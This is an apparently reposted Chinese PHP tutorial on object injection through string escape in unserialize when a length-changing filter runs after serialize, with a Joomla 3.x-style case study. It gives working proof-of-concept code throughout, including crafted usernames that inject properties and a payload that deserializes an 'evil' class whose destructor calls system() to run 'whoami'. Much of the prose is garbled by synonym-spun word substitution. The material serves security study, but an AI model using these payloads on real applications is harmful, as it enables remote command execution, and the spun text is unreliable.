PHP字符逃逸导致的对象注入详解-php教程

资源魔 32 0

1.破绽孕育发生缘由:

序列化的字符串正在通过过滤函数没有正确的解决而招致工具注入,今朝看到都是由于过滤函数放正在了serialize函数之后,要是放正在序列化以前应该就没有会孕育发生这个成绩

<?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}
$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);
echo(serialize($user));
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

1.png

php特点:

1.PHP 正在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为末端(字符串除了外),而且是依据长度判别内容的

2.对类中没有存正在的属性也会进行反序列化

以上代码就显著存正在一个成绩,即从序列化后的字符串中显著能够看到通过filter函数当前s:6对应的字符串显著变长了

而且假如关于a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 这类字符串而言,也可以失常反序列化,阐明php正在反序列化的时分只需求一个反序列化字符串块非法便可,当然患上是第一个字符串块

以上代码为例,假如可以行使filter函数这类由一个字符变成两个字符的特点来注入想要反序列化后失去的属性,使其能够逃逸出更多可用的字符串,那末咱们就能反序列化失去咱们想要的属性

比方此时咱们想要让反序列化后第二个字符串为123456,此时咱们的payload假如以及以前的username长度为a,则filter解决当前可能username就会变为a,此时咱们的payload变为了新的注入的属性,此时反序列化后就会失去咱们想要的后果,比方a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是咱们想要达到的成果,此时咱们想要注入的payload显著为:

";i:1;s:6:"123456";}

2.png

能够失去其长度为20

此时咱们曾经晓得过滤的规定为x->yy,即注入一个x能够逃逸出一个字符的空位,那末咱们只要要注入20个x便可变为40个y,便可逃逸出20个空位,从而将咱们的payload变成反序列化后失去的属性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //此中白色就是咱们想要注入的属性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));

3.png

能够看到此时注入属性胜利,反序列化后失去的属性即为123456

2.实例剖析

joomla3.0.0-3.4.6 工具注入招致的反序列化,如下为参考他人的繁难化外围破绽代码

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

正在这里假如想要经过注入工具来完成反序列化则必需正在内部工具内进行注入存正在的属性,不克不及正在其内部,不然php将没有会进行咱们注入歹意工具的反序列化

例如斯时由于反序列化读取的时分将会将六位字符\0\0\0交换成三位字符chr(0)*chr(0),因而字符串后面的s一定是固定的,那末s对应的字符串变少当前将会吞掉其余属性的字符,那末假如咱们精默算好吞掉的字符长度,而且可以管制被吞掉属性的内容,那末就可以注入工具,从而反序列化其余类

4.png

比方如上所示,此时咱们要注入的工具为evil,此时username以及password的值咱们可控,那末咱们能够正在username中注入\0,来吞掉password的值,比方

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

以是此时起首确定咱们要吞掉的字符的长度

O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}

失常状况下咱们要吞掉 ";s:8:"password";s:4:" 为22位

5.png

然而由于注入的工具payload也正在password字段,而且长度一定是>=10的,因而s一定是两位数,因而这里为22+1=23位字符

由于是6->3,因而每一次增加一组\0\0\0能多吞掉3个字符,因而需求一定都是3的倍数

因而咱们如果这里结构username为\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0

6.png

则通过read函数解决后长度将变成24

7.png

即此时可以多吞掉24个字符,为了避免让其吞掉payload,咱们能够填充1位字符A,即令password的值为A+payload便可

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

8.png

执行后果如上图所示,将胜利反序列化password属性所对应的值,其值即为咱们注入的工具,整个进程也容易了解,就是吞掉前面的属性来注入属性,那末达到攻打有如下要求:

1.相邻两个属性的值是咱们能够管制的

2.前一个属性的s长度能够发作变动,变长变短均可以,变短的话能够吞掉前面相邻属性的值,而后正在相邻属性中注入新的工具,假如边长则能够间接正在该属性中注入工具来达到反序列化

比方XNUCA2018 hardphp就调查了一个这个相干的trick

这里就呈现了用后面的data正在反序列化时向后吞一名字符,从而能够招致吞掉前面的一般用户的username字段,而正在username字段能够放上咱们想要捏造的username,从而达到捏造session的目的

更多PHP相干常识,请拜访PHP中文网!

以上就是PHP字符逃逸招致的工具注入详解的具体内容,更多请存眷资源魔其它相干文章!

标签: php开发教程 php开发资料 php开发自学 对象注入 字符串逃逸

抱歉,评论功能暂时关闭!